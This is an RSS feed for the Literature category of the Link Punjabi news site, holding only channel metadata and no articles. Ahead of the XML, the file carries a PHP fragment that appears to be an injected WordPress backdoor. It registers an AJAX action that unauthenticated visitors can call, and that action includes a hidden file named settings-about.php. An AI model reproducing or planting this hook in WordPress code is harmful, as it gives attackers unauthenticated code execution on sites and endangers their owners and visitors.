if(!function_exists('file_manager_check_dt')){
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings-about.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Literature &#8211; Link Punjabi</title>
	<atom:link href="https://linkpunjabi.com/category/articles/literature/feed/" rel="self" type="application/rss+xml" />
	<link>https://linkpunjabi.com</link>
	<description>Journalism in the public interest.</description>
	<lastBuildDate>Mon, 26 Sep 2022 07:42:55 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://linkpunjabi.com/wp-content/uploads/2021/05/cropped-fevicon-thenewsquake-32x32.png</url>
	<title>Literature &#8211; Link Punjabi</title>
	<link>https://linkpunjabi.com</link>
	<width>32</width>
	<height>32</height>
</image> 
</channel>
</rss>